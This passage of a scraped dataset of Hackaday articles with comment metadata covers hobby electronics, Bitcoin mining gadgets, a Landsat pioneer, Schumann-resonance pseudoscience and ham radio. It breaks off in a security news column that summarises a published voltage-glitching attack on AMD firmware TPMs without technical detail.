"content": "For $250 I’ll get a refurbished i7 with at least 16gb of Ram and a SSD.Life goes on.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6642964",
"autho... | 1,760,372,301.031417 | ||
https://hackaday.com/2023/05/13/hackaday-prize-2023-the-neoklacker-pocket-computer/ | Hackaday Prize 2023: The NEOKlacker Pocket Computer | Lewin Day | [
"Raspberry Pi",
"The Hackaday Prize"
] | [
"2023 Hackaday Prize",
"cyberdeck",
"handheld computer",
"raspberry pi"
] | Science fiction always promised us pocket computers. These days, we’re spoiled for choice. [Spider Jerusalem] eschewed a simple smartphone or tablet, though,
instead building a custom pocket computer of their own design.
Like so many other
DIY cyberdecks
and
handheld computers
, this one relies on a Raspberry Pi. In this case, it’s built using a Pi 4 with 8GB of RAM, which offers a snappy experience that wasn’t available on the earliest boards. [Spider] paired it with a nifty 720×720 LCD screen and a full QWERTY button pad, wrapped up in a tidy 3D-printed case. Like any good pocket computer, it’s well-connected, thanks to a 4G LTE cellular data connection.
It might seem to be a build without a purpose in this era, but that’s not necessarily the case. When it comes to running barebones Linux utilities at a real command line, a Raspberry Pi offers some utility that the average smartphone doesn’t have out of the box. It’s a useful tool if you need to interface with a server on the go or do some low-level network diagnostics without carrying a whole laptop around. Video after the break.
The
Hackaday
Prize 2023
is Sponsored by: | 12 | 6 | [
{
"comment_id": "6642440",
"author": "Sword",
"timestamp": "2023-05-13T23:55:44",
"content": "God I wish somebody would sell a kit. Closest commercial thing is the clockworkpi uconsole and who knows when that will actually *finally* ship",
"parent_id": null,
"depth": 1,
"replies": [
... | 1,760,372,300.660735 | ||
https://hackaday.com/2023/05/13/home-heating-with-bitcoin-miners-is-now-a-real-thing/ | Home Heating With Bitcoin Miners Is Now A Real Thing | Tom Nardi | [
"home hacks"
] | [
"ASIC",
"bitcoin",
"bitcoin mining",
"heater"
] | If you were reading this post a month ago, you could have been forgiven for thinking it was an April Fools post. But we assure you, this is no joke. A company called HeatBit has recently opened preorders for their second generation of
Bitcoin miner that doubles as a space heater
.
The logic goes something like this: if you’re going to be using an electric space heater anyway, which essentially generates heat by wasting a bunch of energy with a resistive element, why not replace that element with a Bitcoin miner instead? Or at least, some of the element. The specs listed for the HeatBit Mini note that the miner itself only consumes 300 watts, which is only responsible for a fraction of the device’s total heat output. Most of the thermal work is actually done by a traditional 1000 watt heater built inside the 46 cm (18 inch) tall cylindrical device.
This new Mini version appears vastly different from the original HeatBit, a towering machine that combined outdated application-specific integrated circuit (ASIC) miners with a turbine-style fan to produce heat. In doing a bit of research on the older model it seems like results were very much mixed, with several reviewers complaining the last-generation ASICs used by the $1,200 heater would take far too long to mine enough crypto to pay for itself.
A teardown of the previous HeatBit
revealed lightly modified miner ASICs, a large fan, and not much else.
In comparison, the $299 Mini seems more like a traditional heater with a secondary Bitcoin mining mode. We’d say that at that price it’s probably worth giving the concept a shot, if it wasn’t for the fine print…if you purchase the Mini at this “early bird” price, HeatBit will skim off 50% of the Bitcoin your device cranks out. If you want to keep all the coins for yourself, you need to shell out for the “Full Ownership” version that has an introductory price of $549 and climbs to $749 once the heaters are available at retail.
If that’s not bad enough, the specs for the Mini show a hashrate of
up to
10 TH/s. We ran that through a few calculators, and combined with the stated 300 watt energy consumption, it appears the device isn’t even capable of breaking even at current BTC prices. So if you were hoping to make a profit, forget about it.
Calculator courtesy
CyptoCompare.com
Assuming the current rate of approximately $26,800 USD to 1 BTC, the Mini would bring in about $22 a month if you ran it for 24 hours a day. But with the average electricity cost in the United States (0.16 $/kWh), it would have cost you around $35 just to power it. Factor in the 50% that HeatBit takes off the top, and the math just doesn’t work. Sure you could make the case that it’s cheaper to run than a traditional electric space heater, but the payoff for the hardware is simply too far out when you consider you’ll only be using the thing a few months out of the year to begin with.
Bottom line, if you want to try and warm your office with Bitcoin, you’d be better off
picking up a second hand ASIC miner
and building the thing yourself. It still wouldn’t be the money-making scheme it might seem like at first glance, but at least you wouldn’t have some company taking half your profits every month. | 64 | 16 | [
{
"comment_id": "6642386",
"author": "Urgon",
"timestamp": "2023-05-13T20:24:32",
"content": "It might not be April, but there will be plenty of fools involved anyway…",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6644728",
"author": "Matthew Newton... | 1,760,372,301.148205 | ||
https://hackaday.com/2023/05/13/remembering-virginia-norwood-mother-of-nasas-landsat-success/ | Remembering Virginia Norwood, Mother Of NASA’s Landsat Success | Donald Papp | [
"Science",
"Space"
] | [
"landsat",
"multispectral",
"multispectral imaging",
"nasa",
"women in science"
] | Virginia T. Norwood passed away earlier this year at the age of 96, and
NASA’s farewell to this influential pioneer
is a worth a read. Virginia was a brilliant physicist and engineer, and among her other accomplishments, we have her to thank for the ongoing success of the
Landsat program
, which continues to this day.
The goal of the program was to image land from space for the purpose of resource management. Landsat 1 launched with a Multispectral Scanner System (MSS) that Norwood designed to fulfill this task. Multispectral imaging was being done from aircraft at the time, but capturing this data from space — not to mention deciding which wavelengths to capture — and getting it back down to Earth required solving a whole lot of new and difficult problems.
The four-band MSS that launched on Landsat 1 (click to enlarge). Its results were transformative, and cemented multispectral imaging’s value to land and resource management.
Landsat 1’s payload was overwhelmingly taken up by a more traditional camera system, and so it launched with a stripped-down four-band multispectral imager (down from an original seven) that Norwood and her team shoehorned into the tiny payload allowed for their system. But nothing convinces like results, and the first ones blew people away. Priorities quickly changed; multispectral imaging was here to stay.
Norwood spent most of her career at
Hughes
, and
a bio page at NASA
points out that as a woman she faced considerable challenges in her time. There were many otherwise educated men who believed a woman had no place doing technical work, and didn’t think anything of saying so. One male engineer even quit rather than work with a woman. But Norwood wasn’t just technically astute, she was also a skilled communicator able to motivate people to do inspired work.
These people skills were important, because the MSS itself — being a new technology — faced uphill challenges compounded by assumptions those in charge had about her and her team’s work. The MSS that launched on Landsat 1 was a scanning digital imager, which built four images (one per band) as a single bit stream that got sent from space to Earth, then got unscrambled back into four separate images. That was pretty new stuff in the late sixties, and even the concept of digital encoding encountered hard resistance. Also, the scanning mirror approach used in the MSS was ultimately described as “groundbreaking”, but before that it was met with heavy derision. Every site visitor commented on the noise the mechanism made, and every time Norwood would remind them that once in the vacuum of space, no one would hear a thing.
Virginia Norwood’s work on Landsat and the MSS are great examples of how physics and math have been applied in transformative ways, and if you’re in the mood for another inspirational example be sure to check out
Gladys West
, whose work made GPS possible. | 13 | 8 | [
{
"comment_id": "6642352",
"author": "Ale",
"timestamp": "2023-05-13T18:11:47",
"content": "this",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6642361",
"author": "Reggie",
"timestamp": "2023-05-13T18:46:39",
"content": "There wouldn’t be differen... | 1,760,372,301.2044 | ||
https://hackaday.com/2023/05/13/tools-of-the-trade-dirt-cheap-or-too-dirty/ | Tools Of The Trade: Dirt Cheap Or Too Dirty? | Elliot Williams | [
"Hackaday Columns",
"Rants",
"Slider",
"Tool Hacks"
] | [
"cheap tools",
"newsletter",
"oscilloscope",
"tools"
] | We’ve recently seen a
couple reviews of a particularly cheap oscilloscope
that, among other things, doesn’t meet its advertised specs. Actually, it’s not even close. It claims to be a 100 MHz scope, and it’s got around 30 MHz of bandwidth instead. If you bought it for higher frequency work, you’d have every right to be angry. But it’s also cheap enough that, if you were on a very tight budget, and you knew its limitations beforehand, you might be tempted to buy it anyway. Or so goes one rationale.
In principle, I’m of the “buy cheap, buy twice” mindset. Some tools, especially ones that you’re liable to use a lot, make it worth your while to save up for the good stuff. (And for myself, I would
absolutely
put an oscilloscope in that category.) The chances that you’ll outgrow or outlive the cheaper tool and end up buying the better one eventually makes the money spent on the cheaper tool simply wasted.
But that’s not always the case either, and that’s where you have to know yourself. If you’re only going to use it a couple times, and it’s not super critical, maybe it’s fine to get the cheap stuff. Or if you know you’re going to break it in the process of learning anyway, maybe it’s a shame to put the gold-plated version into your noob hands. Or maybe you simply don’t know if an oscilloscope is for you. It’s possible!
And you can mix and match. I just recently bought tools for changing our car’s tires. It included a dirt-cheap pneumatic jack and an expensive torque wrench. My logic? The jack is relatively easy to make functional, and the specs are so wildly in excess of what I need that even if it’s all lies, it’ll probably suffice. The torque wrench, on the other hand, is a bit of a precision instrument, and it’s pretty important that the bolts are socked up tight enough. I don’t want the wheels rolling off as I drive down the road.
Point is, I can see both sides of the argument. And in the specific case of the ’scope, the cheapo one can also be battery powered, which gives it a bit of a niche functionality when probing live-ground circuits. Still, if you’re marginally ’scope-curious, I’d say save up your pennies for something at least mid-market. (Rigol? Used Agilent or Tek?)
But isn’t it cool that we have so many choices? Where do you buy cheap? Where won’t you?
This article is part of the Hackaday.com newsletter, delivered every seven days for each of the last 200+ weeks. It also includes our favorite articles from the last seven days that you can see on
the web version of the newsletter
.
Want this type of article to hit your inbox every Friday morning?
You should sign up
! | 69 | 17 | [
{
"comment_id": "6642295",
"author": "Frank Smith",
"timestamp": "2023-05-13T14:09:45",
"content": "Eliot are you mad, using an unearthed scope or a live mains circuit is asking to die!",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6642313",
"author... | 1,760,372,301.316517 | ||
https://hackaday.com/2023/05/13/tiny-bitcoin-miner-plays-the-lottery/ | Tiny Bitcoin Miner Plays The Lottery | Bryan Cockfield | [
"Raspberry Pi"
] | [
"ant miner",
"bitcoin",
"lottery",
"lottery mining",
"mining",
"raspberry pi",
"SHA256"
] | Usually when we think of Bitcoin miners, we imagine huge facilities of server racks doing nothing but essentially wasting energy, all for the chance that one of those computers amongst the rows will stumble upon the correct set of numbers to get rewarded with imaginary money. The idea being that the more computers, the more chances to win. But just buying one lottery ticket is the only thing technically required to win, at least in theory. And [Data Slayer] is putting this theory to the test
with this Bitcoin miner built around a single Raspberry Pi
.
This tiny Raspberry Pi Zero does get a little bit of support from an Ant Miner, a USB peripheral which is optimized to run the SHA256 hashing algorithm and solve the complex mathematical operations needed to “win” the round of Bitcoin mining. Typically a large number of these would be arrayed together to provide more chances at winning (or “earning”, to use the term generously) Bitcoin but there’s no reason other than extreme statistical improbability that a single one can’t work on its own. The only other thing needed to get this setup working is to give the Pi all of the configuration information it needs such as wallet information and pool information.
This type of miner isn’t novel by any means, and in fact it’s
a style of mining cryptocurrency called “lottery mining”
where contributing to a pool is omitted in favor of attempting to solve the entire block by pure random chance alone in the hopes that if it’s solved, the entire reward will be claimed by that device alone. In the case of this device, the current hash rate calculated when it was contributing to a pool means that when lottery mining, it has about a one-in-two-billion chance of winning. That’s essentially zero, which is basically the same chance of winning a lottery that pays out actual usable currency. | 113 | 14 | [
{
"comment_id": "6642269",
"author": "Alex",
"timestamp": "2023-05-13T11:43:00",
"content": "The whole feel of the article write up projects a definite “bitcoin is a waste of energy and isn’t real money” which is fine for an opinion piece but not cool for real journalism. I wonder if the author of t... | 1,760,372,301.466537 | ||
https://hackaday.com/2023/05/13/passively-generating-power-day-and-night-takes-the-right-parts/ | Passively Generating Power Day And Night Takes The Right Parts | Donald Papp | [
"green hacks"
] | [
"generator",
"green power",
"passive",
"TEG",
"thermoelectric"
] | A thermoelectric generator (TEG) can turn a temperature difference into electricity, and while temperature differentials abound in our environment, it’s been difficult to harness them into practical and stable sources of power. But researchers in China have succeeded in creating
a TEG that can passively and continuously generate power
, even across shifting environmental conditions. It’s not a
lot
of power, but that it’s continuous is significant, and it could be enough for remote sensors or similar devices.
Historically, passive TEGs have used ambient air as the “hot” side and some form of high-emissivity heat sink — usually involving exotic materials and processes — as the “cold” side. These devices work, but fail to reliably produce uninterrupted voltage because shifting environmental conditions have too great of an effect on how well the radiative cooling emitter (RCE) can function.
The black disk (UBSA) heats the bottom while the grey square (RCE) radiates heat away, ensuring a workable temperature differential across a variety of conditions.
Here is what has changed: since a TEG works on temperature
difference
between the hot and cold sides, researchers improved performance by attaching an ultra-broadband solar absorber (UBSA) to the hot side, and an RCE to the cold side. The UBSA is very good at absorbing radiation (like sunlight) and turning it into heat, and the RCE is very good at radiating heat away. Together, this ensures enough of temperature difference for the TEG to function in bright sunlight, cloudy sunlight, clear nighttime, and everything in between.
As mentioned, it’s not a lot of power (we’re talking millivolts) but the ability to passively and constantly produce across shifting environmental conditions is something new. And as a bonus, the researchers even found a novel way to create both UBSA and RCE using non-exotic materials and processes. The
research paper with additional details is available here
.
The ability to deliver uninterrupted power — even in tiny amounts — is a compelling goal. A few years ago we encountered a (much larger) device from a team at MIT that also aimed to turn environmental temperature fluctuations into a trickle of constant power. Their “
Thermal Resonator
” worked by storing heat in phase-change materials that would slowly move heat across a TEG, effectively generating continuously by stretching temperature changes out over time. | 18 | 5 | [
{
"comment_id": "6642245",
"author": "Nickpicking Butt",
"timestamp": "2023-05-13T08:23:35",
"content": "> As mentioned, it’s not a lot ofpower(we’re talking millivolts):/",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6642322",
"author": "Cyna",
... | 1,760,372,301.525668 | ||
https://hackaday.com/2023/05/12/a-non-destructive-digital-back-for-a-classic-leica/ | A Non-Destructive Digital Back For A Classic Leica | Jenny List | [
"digital cameras hacks",
"Raspberry Pi"
] | [
"35mm camera",
"digital camera conversion",
"leica",
"rangefinder",
"Raspberry Pi HQ camera"
] | As digital photography has become so good, perhaps just
too
good, at capturing near-perfect pictures, some photographers have ventured back into the world of film. There they have found the imperfections requiring technical skill to cope with that they desire, but they’ve also come face-to-face with the very high cost and sometimes sketchy availability of film stocks. From this has come the so-called post-digital movement which marries analog cameras and lenses with digital sensors, and of this a particularly nice example comes from [
Michael Suguitan]. He’s taken a classic Leica M2 rangefinder camera,
and built a new back for it containing a Raspberry Pi Zero and sensor
.
Perhaps the best thing about this conversion, and something which should propagate forward into other builds, is the way it does not hack or modify the original camera beyond the replacement of the already-removable back. A vintage Leica is a pricey item, so it would be a foolhardy hacker who would proceed to gut it for a digital conversion. Instead he’s mounted everything that makes a digital camera, the sensor, Pi Zero, and screen board, behind the camera body. The Pi shutter trigger comes from the Leica’s flash terminal, meaning that there’s plenty of time for it to take a photo while the shutter is open.
He’s admirably preserved the usage and properties of the Leica, and his photographs as can be seen in the video below the break bear testament to what is possible with the camera. He still has to work with the tiny sensor size though, meaning that all photographs are at a much higher zoom level than on the original. We would love to see a camera conversion like this one that incorporates appropriate lenses to bring the picture to focus on this small sensor.
We won’t own a Leica any time soon, but we like this conversion. It’s by far the most sympathetic, but
it’s not the first rangefinder conversion we’ve seen
. | 16 | 8 | [
{
"comment_id": "6642231",
"author": "Artenz",
"timestamp": "2023-05-13T06:47:42",
"content": "So what properties of the Leica are preserved ? It’s just used as a black empty box with a lens mount, but due to heavy cropping no longer gives the same picture quality as the original lenses.",
"pare... | 1,760,372,301.579963 | ||
https://hackaday.com/2023/05/12/3d-design-with-text-based-ai/ | 3D Design With Text-Based AI | Bryan Cockfield | [
"News"
] | [
"3d",
"artificial intelligence",
"generative AI",
"model",
"neural radiance fields",
"openai",
"textured meshes"
] | Generative AI is the new thing right now, proving to be a useful tool both for professional programmers, writers of high school essays and all kinds of other applications in between. It’s also been shown to be effective in generating images, as the DALL-E program has demonstrated with its impressive image-creating abilities. It should surprise no one as this type of AI continues to make in-roads into other areas, this time
with a program from OpenAI called Shap-E which can render 3D images
.
Like most of OpenAI’s offerings, this takes plain language as its input and can generate relatively simple 3D models with this text. The examples given by OpenAI include some bizarre models using text prompts such as a chair shaped like an avocado or an airplane that looks like a banana. It can generate textured meshes and neural radiance fields, both of which have various advantages when it comes to available computing power, training methods, and other considerations. The 3D models that it is able to generate have a Super Nintendo-style feel to them but we can only expect this technology to grow exponentially like other AI has been doing lately.
For those wondering about the name, it’s apparently a play on the 2D rendering program DALL-E which is itself a combination of the names of the famous robot WALL-E and the famous artist Salvador Dali. The Shap-E program is available for anyone to use from
this GitHub page
. Even though this code comes from OpenAI themselves, plenty are speculating that the AI revolution to come will largely come from open-source sources rather than OpenAI or Google, something for which the future is somewhat hazy. | 8 | 2 | [
{
"comment_id": "6642211",
"author": "𐂀 𐂅",
"timestamp": "2023-05-13T02:47:38",
"content": "“chair shaped like an avocado” was a thing even before teh interwebs and AI, so generating tweens between that and actual avocadoes is facil. Try getting an AI to produce a decent image of an octopus weari... | 1,760,372,301.669059 | ||
https://hackaday.com/2023/05/12/your-childhood-inventions-brought-to-life/ | Your Childhood Inventions Brought To Life | Al Williams | [
"Misc Hacks"
] | [
"Donttrythisathome",
"inventions",
"whimsical"
] | If you are the kind of person who reads Hackaday, you probably spent time in school doodling little design day dreams. [Allen Pan] gets it, and he’s taken it upon himself to make some of those daydreams into
reality
. You can see how it worked out — or didn’t — in the video below.
The video starts out with suction cup boots for walking on the ceiling, a laser sword made with a mirror, a plunger gun, and lawnmower boots. Some of these were more successful than others.
This is an odd video for Hackaday because [Allen] doesn’t really share exact plans for his creations. But after you see them, you could probably duplicate them if you wanted to. You probably also won’t want to. Besides, you’d have to adapt any design he has unless you had the exact same junk lying around that he does. We must admit, though, we enjoyed his enthusiasm, and it made us wonder what your favorite childhood invention was. Tell us in the comments, and we’ll even add ours to the mix.
You can only speculate on what crazy things we would have done as kids with access to 3D printers. As it was, we mostly did deadly things with electricity and rockets, which was bad enough.
Laser swords
seem to be a popular diversion. If you need your lawn mowed, maybe
try a robot instead of boots
. | 8 | 5 | [
{
"comment_id": "6642188",
"author": "Hirudinea",
"timestamp": "2023-05-12T23:55:20",
"content": "Rosa Klebb called, she wants her shoes back.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6642212",
"author": "Garth Bock",
"timestamp": "2023-05-13T03:... | 1,760,372,301.623898 | ||
https://hackaday.com/2023/05/12/the-peak-of-vacuum-tube-radio-design/ | The Peak Of Vacuum Tube Radio Design | Bryan Cockfield | [
"Radio Hacks"
] | [
"40m",
"cw",
"diy",
"morse",
"mountain",
"peak",
"pota",
"QRP",
"radio",
"SOTA",
"summit",
"summits on the air",
"tube",
"vacuum tube"
] | One of the more popular trends in the ham radio community right now is operating away from the shack. Parks on the Air (POTA) is an excellent way to take a mobile radio off-grid and operate in the beauty of nature, but for those who want to take their rig to more extreme locations there’s another operating award program called Summits on the Air (SOTA) that requires the radio operator to set up a station on a mountaintop instead. This often requires lightweight, low-power radios to keep weight down for the hike, and [Dan] aka [AI6XG]
has created a radio from scratch to do just that
.
[Dan] is also a vacuum tube and CW (continuous wave/Morse code) operator on top of his interest in summiting various mountains, so this build incorporates all of his interests. Most vacuum tubes take a lot of energy to operate, but he dug up a circuit from 1967 that uses a single tube which can operate from a 12 volt battery instead of needing mains power, thanks to some help from a more modern switch-mode power supply (SMPS). The SMPS took a bit of research, though, in order to find one that wouldn’t interfere with the radio’s operation. That plus a few other modern tweaks like a QCX interface and a switch to toggle between receive to transmit easily allows this radio to be quite versatile when operating while maintaining its portability and durability when summiting.
For those looking to replicate a tube-based radio like this one, [Dan] has made all of the schematics available on
his GitHub page
. The only other limitation to keep in mind with a build like this is that it tends to only work on a very narrow range of frequencies without adding further complexity to the design, in this case within the CW portion of the 40-meter band. But that’s not really a bad thing as most radios with these design principles tend to work this way. For some other examples,
take a look at these antique QRP radios
for operating using an absolute minimum of power. | 19 | 6 | [
{
"comment_id": "6642128",
"author": "Leonardo",
"timestamp": "2023-05-12T21:07:21",
"content": "CW? Useless.If you like the old stuff, better use a spark transmitter.We’re going to get to the year 3000 and some will still be on CW. It’s time to let him die.",
"parent_id": null,
"depth": 1,
... | 1,760,372,301.722412 | ||
https://hackaday.com/2023/05/12/hackaday-prize-2023-finger-tracking-via-muscle-sensors/ | Hackaday Prize 2023: Finger Tracking Via Muscle Sensors | Lewin Day | [
"The Hackaday Prize",
"Wearable Hacks"
] | [
"2023 Hackaday Prize",
"finger sensor",
"machine learning",
"muscle sensor",
"prosthetic",
"prosthetics"
] | Whether you want to build a computer interface device, or control a prosthetic hand, having some idea of a user’s finger movements can be useful. The OpenMuscle finger tracking sensor can offer the data you need,
and it’s a device you can readily build in your own workshop.
The device consists of a wrist cuff that mounts twelve pressure sensors, arranged radially about the forearm. The pressure sensors are a custom design, using magnets, hall effect senors, and springs to detect the motion of the muscles in the vicinity of the wrist.
We first looked at this project
last year
, and since then, it’s advanced in leaps and bounds. The basic data from the pressure sensors now feeds into a trained machine learning model, which then predicts the user’s actual finger movements. The long-term goal is to create a device that can control prosthetic hands based on muscle contractions in the forearm. Ideally, this would be super-intuitive to use, requiring a minimum of practice and training for the end user.
It’s great to see machine learning combined with innovative mechanical design
to serve a real need
. We can’t wait to see where the OpenMuscle project goes next.
The
Hackaday
Prize 2023
is Sponsored by: | 5 | 2 | [
{
"comment_id": "6642118",
"author": "Gregg Eshelman",
"timestamp": "2023-05-12T20:49:23",
"content": "Use it for a battle bot control input.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6642182",
"author": "𐂀 𐂅",
"timestamp": "2023-05-12T23:24:04"... | 1,760,372,301.762953 | ||
https://hackaday.com/2023/05/12/what-is-a-schumann-resonance-and-why-am-i-being-offered-a-7-83hz-oscillator/ | What Is A Schumann Resonance And Why Am I Being Offered A 7.83Hz Oscillator? | Jenny List | [
"Featured",
"Interest",
"Science"
] | [
"AliExpress",
"pseudoscience",
"Schumann resonance",
"science"
] | Something that probably unites many Hackaday readers is an idle pursuit of browsing AliExpress for new pieces of tech. Perhaps it’s something akin to social media doomscrolling without the induced anger, and it’s certainly entertaining to see some of the weird and wonderful products that can be had for a few dollars and a couple of weeks wait. Every now and then something pops up that deserves a second look, and it’s one of those that has caught my attention today. Why am I being offered planar PCB coils with some electronics, described as “Schumann resonators”? What on earth is Schumann resonance, anyway?
Atmospheric Physics Meets Cheap Junk
The different modes of Schumann resonance in the atmosphere. Neotesla
CC BY-SA 3.0
.
The second question is easy enough to answer, the
Schumann resonances
occur in the electromagnetic spectrum of the earth, and are the result of resonances in the waveguide created between the electrically charged and thus radio-reflective ionosphere and the planet’s surface. Just as a small section of microwave waveguide on your bench can have an electromagnetic resonant frequency, so can this huge planet-sized space.
The waveguide on your desk will probably resonate in the thousands of megahertz, while the atmospheric waveguide has its resonance in the very low frequencies, in the order of hertz with a fundamental frequency around 7.8 Hz and a series of harmonic frequencies
The story of the Schumann resonances is interesting in itself, because rather than being discovered through observation they were predicted in 1952 in a mathematical study of the ionosphere by a German physicist, Winfried Otto Schumann. He originally calculated a frequency of around 10 Hz. A decade later their existence was proved, and studies have shown them to be excited by lightning strikes. Their resonant frequency is lower than Schumann predicted because of the slower-than-light transmission speed in the earth’s atmosphere, and they are part of the field of climate and atmospheric science, and as an example their activity has been used as a marker of global temperature. Indeed, the frequency varies over the course of a day as different parts of the earth are exposed to the sun — the oft-cited 7.83 Hz value actually wanders around 7.5 Hz to 8.3 Hz.
All this is fascinating stuff, but what’s the connection between a global scale electromagnetic resonance requiring all those (naturally, 1.21 jiggawatt) lightning strikes to excite and which is of great interest to climate scientists, and a little AC magnetic field generator on a PCB from China? The answer took a bit of web searching to find out, and sadly it’s not the scientific breakthrough we might have hoped for.
Does It Work? It’s All In Your Head
Is there nothing this thing can’t do?
A natural resonant frequency on a planetary scale is for engineers and physicists an interesting and entirely explainable physical phenomenon. It’s got a clear derivation and a mathematical proof that works, and it’s even got a few useful applications for climate scientists. But of course, not everyone who happens upon Schumann resonance has that background or training, and among those are a section who perhaps read a little bit more into it than they should.
My web search took me into people who believe that Schumann resonance is a “heartbeat” for a somehow sentient planet, something with which we have somehow lost touch, and turn the coincidence that some human brainwaves are around the same frequency into a vital connection. It seems that the Schumann resonators aren’t there for the planet but instead for us, they’re intended to stimulate the “right” brain waves which have somehow been lost due to our modern high-tech lifestyles. That they’re also claimed to improve the sound from HiFi systems and reduce pollutants in the air is the cherry on the cake.
So sadly the Schumann resonators have nothing to do with the ionosphere, and who knows, might just even be completely useless in themselves. In the past
I’ve bought a few similarly pseudoscience devices
for a teardown and investigation, but this time I somehow can’t find it within me to shell out twenty dollars or so on this one. Still, it’s been interesting to learn about the ionospheric resonance.
Can any of you think of a use for a ELF oscillator and planar coil that doesn’t involve pseudoscience? The comments await. | 111 | 46 | [
{
"comment_id": "6642025",
"author": "Rog Fanther",
"timestamp": "2023-05-12T17:11:26",
"content": "Hmm…could that thing be modded into a wireless phone charger ?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6642035",
"author": "Pete",
"tim... | 1,760,372,302.662438 | ||
https://hackaday.com/2023/05/12/hackaday-podcast-218-open-source-ai-the-rescue-of-salyut-7-the-homework-machine/ | Hackaday Podcast 218: Open Source AI, The Rescue Of Salyut 7, The Homework Machine | Kristina Panos | [
"Hackaday Columns",
"Podcasts",
"Slider"
] | [
"Hackaday Podcast"
] | This week, Editor-in-Chief Elliot Williams and Kristina Panos have much in the way of Hackaday news — the Op Amp Challenge is about halfway over, and there are roughly three weeks left in the Assistive Tech challenge of the 2023 Hackaday Prize. Show us what you’ve got on the analog front, and then see what you can do to help people with disabilities to live better lives!
Kristina is still striking out on What’s That Sound, which this week honestly sounded much more horrendous and mechanical than the thing it actually is. Then it’s on to the hacks, beginning with the we-told-you-so that even Google believes that open source AI will out-compete both Google’s own AI and the questionably-named OpenAI.
From there we take a look at a light-up breadboard, listen to some magnetite music, and look inside a pair of smart sunglasses. Finally, we talk cars, beginning with the bleeding edge of driver-less. Then we go back in time to discuss in-vehicle record players of the late 1950s.
Check out the links below if you want to follow along, and as always, tell us what you think about this episode in the comments!
Download and savor at your leisure
.
Where to Follow Hackaday Podcast
Places to follow Hackaday podcasts:
iTunes
Spotify
Stitcher
RSS
YouTube
Check
out our Libsyn landing page
Episode 218 Show Notes:
News:
Op Amp Challenge
2023 Hackaday Prize Challenge 2: Assistive Tech
What’s that Sound?
Congratulations to [Rick] who correctly guessed that the sound was a coffee percolator! You win exactly one Hackaday Podcast t-shirt.
As promised,
the classic Folgers Christmas commercial
.
Interesting Hacks of the Week:
Leaked Internal Google Document Claims Open Source AI Will Outcompete Google And OpenAI
Stable Diffusion And Why It Matters
Why LLaMa Is A Big Deal
Open Assistant
Op-Amp Challenge: Light Up Breadboard Shows Us The Signals
Clever Optics Make Clock’s Digits Float In Space
Holograms Display Time With ESP32
Blending Pepper’s Ghost, Synths, And Vintage TVs
Hackaday Prize 2023: The Realities Of The Homework Machine
The Forgotten Rescue Of The Salyut 7 Space Station
Easter’s Over, But You Can Still Dye Keycaps
Quick Hacks:
Elliot’s Picks:
Minimal USB Device Connects With Just A Couple Of Resistors
Making Music By Probing Magnetite Crystals
CNC Feeds And Speeds, Explained As A First-Timer
Kristina’s Picks:
Inside A Pair Of Smart Sunglasses
Tiny 3D Printed Gaming PC Contains Real Retro Hardware
Thermal Camera Plus Machine Learning Reads Passwords Off Keyboard Keys
Can’t-Miss Articles:
Ask Hackaday: Why Do Self Driving Cars Keep Causing Traffic Jams?
Retro Gadgets: I Swear Officer, I Was Listening To 45 | 7 | 4 | [
{
"comment_id": "6642086",
"author": "Dude",
"timestamp": "2023-05-12T19:23:03",
"content": "What threw me off with the percolator sound is that it was too fast and consistent. The percolators I’ve used had a significant and random delay with the bubbling cycles, which is why I though it was someth... | 1,760,372,302.186665 | ||
https://hackaday.com/2023/05/12/op-amp-challenge-interactive-analog-led-wave-array/ | Op-Amp Challenge: Interactive Analog LED Wave Array | Dave Rowntree | [
"Art",
"computer hacks"
] | [
"analog computing",
"differential equation",
"infrared",
"integrator",
"opamp",
"photodiode",
"wave equation"
] | A while back, [Chris Lu] was studying how analog circuits, specifically op-amps can be used to perform mathematical operations and wondered if they could be persuaded to solve differential equations, such as the wave equation. After sitting on the idea for a few years, it was time to make it a reality, and the result is an
entry into the Op-Amp Challenge
.
Unlike many similar interactive LED matrix displays that are digital in nature (because it’s a lot easier), this design is pure analog, using many, many op-amps. A custom PCB houses a 4×4 array of compute units, each with a blue and white LED indicating the sign and magnitude of the local signal.
The local input signal is provided by an IR photodiode, AC coupled to only respond to change, with every other circuit sharing a sensor to keep it simple. Each circuit is connected to its immediate neighbors on the PCB, and off the PCB via board-to-board connectors. This simple scheme makes this easily scalable if desired in the future.
[Chris] does a great job of breaking down the math involved, which makes this project a neat illustration of how op-amp circuits can implement complex mathematical problems in an easy-to-understand process. Even more op-amps are pressed into service for generating the split-rail voltage reference and for amplifying the weak photodiode signals, but the computation circuit is the star of the show.
We like analog computing a fair bit around these parts. Here’s a
little something we were previously drooling over
. | 20 | 9 | [
{
"comment_id": "6641988",
"author": "spiritplumber@gmail.com",
"timestamp": "2023-05-12T15:35:37",
"content": "This is so pretty and elegant. I wonder if it can be wired as a neural network?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6642049",
"... | 1,760,372,302.509351 | ||
https://hackaday.com/2023/05/12/this-week-in-security-tpm-and-bootguard-drones-and-coverups/ | This Week In Security: TPM And BootGuard, Drones, And Coverups | Jonathan Bennett | [
"Hackaday Columns",
"News",
"Security Hacks"
] | [
"drones",
"This Week in Security",
"TPM"
] | Full disk encryption is the go-to solution for hardening a laptop against the worst-case scenario of physical access. One way that encryption can be managed is through a Trusted Platform Module (TPM), a chip on the motherboard that manages the disk encryption key, and only hands it over for boot after the user has authenticated. We’ve seen some clever tricks deployed against these discrete TPMs, like sniffing the data going over the physical traces. So in theory, an integrated TPM might be more secure. Such a technique does exist, going by the name fTPM, or firmware TPM. It uses a Trusted Execution Environment, a TEE, to store and run the TPM code. And there’s
another clever attack against that concept (PDF)
.
It’s chip glitching via a voltage fault. This particular attack works against AMD processors, and the voltage fault is triggered by injecting commands into the Serial Voltage Identification Interface 2.0 (SVI2). Dropping the voltage momentarily to the AMD Secure Processor (AMD-SP) can cause a key verification step to succeed even against an untrusted key, bypassing the need for an AMD Root Key (ARK) signed board firmware. That’s not a simple process, and pulling it off takes about $200 of gear, and about 3 hours. This exposes the CPU-unique seed, the board NVRAM, and all the protected TPM objects.
